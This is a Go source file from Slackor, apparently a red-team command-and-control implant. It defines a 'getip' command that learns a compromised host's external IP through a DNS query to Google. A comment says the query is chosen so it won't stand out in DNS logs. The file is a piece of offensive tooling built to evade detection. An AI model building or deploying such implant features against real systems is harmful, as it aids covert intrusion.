github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/getip.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"strings"
     6  
     7  	"github.com/Coalfire-Research/Slackor/pkg/command"
     8  
     9  	"github.com/miekg/dns"
    10  )
    11  
    12  // GetIP gets the external WAN outbound ip of this machine
    13  type GetIP struct{}
    14  
    15  // Name is the name of the command
    16  func (g GetIP) Name() string {
    17  	return "getip"
    18  }
    19  
    20  // Run gets the external WAN outbound ip of this machine
    21  func (g GetIP) Run(clientID string, jobID string, args []string) (string, error) {
    22  	// high speed response, won't look that weird in DNS logs
    23  	target := "o-o.myaddr.l.google.com"
    24  	server := "ns1.google.com"
    25  
    26  	c := dns.Client{}
    27  	m := dns.Msg{}
    28  	m.SetQuestion(target+".", dns.TypeTXT)
    29  	r, _, err := c.Exchange(&m, server+":53")
    30  	if err != nil {
    31  		return "", err
    32  	}
    33  	for _, ans := range r.Answer {
    34  		TXTrecord := ans.(*dns.TXT)
    35  		// shouldn't ever be multiple, but provide the full answer if we ever do
    36  		return strings.Join(TXTrecord.Txt, ","), nil
    37  	}
    38  	return "", errors.New("no answer")
    39  }
    40  
    41  func init() {
    42  	command.RegisterCommand(GetIP{})
    43  }